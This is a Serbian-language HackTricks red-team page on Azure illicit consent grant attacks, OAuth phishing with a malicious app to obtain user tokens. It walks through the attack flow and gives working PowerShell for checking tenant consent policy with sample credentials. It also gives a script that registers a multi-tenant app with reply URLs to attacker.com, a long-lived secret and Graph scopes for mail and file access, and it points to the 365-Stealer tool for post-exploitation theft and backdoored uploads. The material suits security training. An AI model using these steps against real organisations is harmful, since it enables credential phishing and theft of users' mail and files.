Az - Illicit Consent Grant

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

OAuth Aplikacija za Ribarenje

Azure Aplikacije traže dozvole za pristup korisničkim podacima (osnovne informacije, ali i pristup dokumentima, slanje emailova...). Ako je dozvoljeno, običan korisnik može dati pristanak samo za "Niske uticaje dozvola". U svim ostalim slučajevima, potreban je pristanak administratora. GA, ApplicationAdministrator, CloudApplication Administrator i prilagođena uloga koja uključuje dozvolu za davanje dozvola aplikacijama mogu omogućiti pristanak na nivou zakupca.

Samo dozvole koje ne zahtevaju pristanak administratora klasifikuju se kao niski uticaj. To su dozvole potrebne za osnovnu prijavu kao što su openid, profile, email, User.Read i offline_access. Ako organizacija omogući korisnički pristanak za sve aplikacije, zaposleni može dati pristanak aplikaciji da pročita navedeno iz njihovog profila.

Stoga, napadač može pripremiti zlonamernu aplikaciju i uz pomoć ribarenja, naterati korisnika da prihvati aplikaciju i ukrade njegove podatke.

2 Vrste Napada Neovlašćenog Davanja Pristanka

  • Neautentifikovan: Iz eksternog naloga kreirajte aplikaciju sa dozvolama User.Read i User.ReadBasic.All na primer, izvedite ribarenje korisnika, i bićete u mogućnosti pristupiti informacijama direktorijuma.

  • Ovo zahteva da ribaren korisnik bude u mogućnosti da prihvati OAuth aplikacije iz eksternih okruženja!

  • Autentifikovan: Nakon što ste kompromitovali principala sa dovoljno privilegija, kreirajte aplikaciju unutar naloga i izvedite ribarenje nekog privilegovanog korisnika koji može prihvatiti privilegovane OAuth dozvole.

  • U ovom slučaju već možete pristupiti informacijama direktorijuma, tako da dozvola User.ReadBasic.All više nije interesantna.

  • Verovatno ste zainteresovani za dozvole koje zahtevaju da administrator odobri, jer sirovi korisnik ne može dati OAuth aplikacijama bilo koju dozvolu, zato vam je potrebno ribariti samo te korisnike (više o tome koje uloge/dozvole daju ovu privilegiju kasnije)

Provera da li korisnici mogu dati pristanak

Sledeća PowerShell komanda se koristi za proveru konfiguracije pristanka za korisnike u Azure Active Directory (Azure AD) u vezi sa njihovom sposobnošću da daju pristanak aplikacijama:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Onemogući korisnički pristanak: Ovo podešavanje zabranjuje korisnicima davanje dozvola aplikacijama. Nijedan korisnički pristanak za aplikacije nije dozvoljen.

  • Korisnici mogu dati pristanak aplikacijama od proverenih izdavača ili vaše organizacije, ali samo za odabrane dozvole: Ovo podešavanje dozvoljava svim korisnicima da daju pristanak samo za aplikacije koje su objavljene od strane proverenog izdavača i aplikacije registrovane u vašem sopstvenom zakupcu. Dodaje sloj kontrole omogućavajući pristanak samo za određene dozvole.

  • Korisnici mogu dati pristanak za sve aplikacije: Ovo podešavanje je liberalnije i dozvoljava svim korisnicima da daju pristanak za bilo koje dozvole za aplikacije, pod uslovom da te dozvole ne zahtevaju administratorski pristanak.

  • Prilagođena politika pristanka za aplikacije: Ovo podešavanje ukazuje da je na snazi prilagođena politika, koja može biti prilagođena specifičnim organizacionim zahtevima i može uključivati kombinaciju ograničenja zasnovanih na izdavaču aplikacije, dozvolama koje aplikacija zahteva i drugim faktorima.

Razumevanje Napada na Neovlašćeno Davanje Pristanka

U napadu na neovlašćeno davanje pristanka, napadači prevare krajnje korisnike da daju dozvole zlonamernoj aplikaciji registrovanoj u okviru Azure-a. To se postiže tako što aplikacija izgleda legitimno, navodeći žrtve da nehotice kliknu na dugme "Prihvati". Kao rezultat toga, Azure AD izdaje token sajtu napadača, omogućavajući im pristup i manipulaciju podacima žrtve, kao što su čitanje ili slanje e-pošte i pristup fajlovima, bez potrebe za organizacionim nalogom.

Pregled Toka Napada

Napad uključuje nekoliko koraka usmerenih ka generičkoj kompaniji. Evo kako bi mogao da se odvija:

  1. Registracija Domena i Hosting Aplikacije: Napadač registruje domen koji podseća na pouzdan sajt, na primer, "sigurniprijavidomen.com". Pod ovim domenom, kreira se poddomen (npr. "imenakompanije.sigurniprijavidomen.com") za hostovanje aplikacije dizajnirane za hvatanje autorizacionih kodova i zahtevanje pristupnih tokena.

  2. Registracija Aplikacije u Azure AD: Napadač zatim registruje Aplikaciju za Više Zakupaca u svom Azure AD Zakupcu, nazivajući je po ciljnoj kompaniji kako bi delovala legitimno. Konfiguriše URL preusmeravanja aplikacije da pokazuje ka poddomenu koji hostuje zlonamernu aplikaciju.

  3. Postavljanje Dozvola: Napadač postavlja aplikaciju sa različitim API dozvolama (npr. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ove dozvole, jednom kada ih korisnik odobri, omogućavaju napadaču da izvuče osetljive informacije u ime korisnika.

  4. Distribucija Zlonamernih Linkova: Napadač kreira link koji sadrži klijentski ID zlonamerne aplikacije i deli ga sa ciljanim korisnicima, prevareći ih da daju pristanak.

Korišćenje Alata za Napad

Napad može biti olakšan korišćenjem alata poput 365-Stealer.

Priprema Pre Napada:

Ako napadač ima određeni nivo pristupa korisniku u organizaciji žrtve, može proveriti da li politika organizacije dozvoljava korisniku da prihvati aplikacije:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Za izvođenje napada, napadaču će biti potrebno da kreiraju novu aplikaciju u svom Azure zakupcu (u Registracijama aplikacija), konfigurisanu sa dozvolama:

User.ReadBasic.All je unutar Microsoft Graph u Delegiranim dozvolama. (Dozvole aplikacije će uvek zahtevati dodatno odobrenje).

  • User.ReadBasic.All je dozvola koja će vam omogućiti da čitate informacije svih korisnika u organizaciji ako je odobrena.

  • Zapamtite da samo GA, Administrator aplikacije, Administrator aplikacija u oblaku i prilagođena uloga koja uključuje dozvolu za dodeljivanje dozvola aplikacijama mogu obezbediti saglasnost na nivou zakupca. Dakle, trebalo bi da phishujete korisnika sa jednom od tih uloga ako želite da on odobri aplikaciju koja zahteva administratorsku saglasnost.

Takođe možete kreirati aplikaciju putem CLI-a sa:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Proverite https://www.alteredsecurity.com/post/introduction-to-365-stealer da biste saznali kako da ga konfigurišete.

Imajte na umu da će dobijeni pristupni token biti za graph endpoint sa dozvolama: User.Read i User.ReadBasic.All (zahtevane dozvole). Nećete moći da izvršite druge radnje (ali to je dovoljno da preuzmete informacije o svim korisnicima u organizaciji).

Takođe možete koristiti ovaj alat za izvođenje ovog napada.

Post-Exploitation

Kada dobijete pristup korisniku, možete raditi stvari poput krađe osetljivih dokumenata čak i otpremanja dokumenata sa zadnjim vratima.

Reference

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated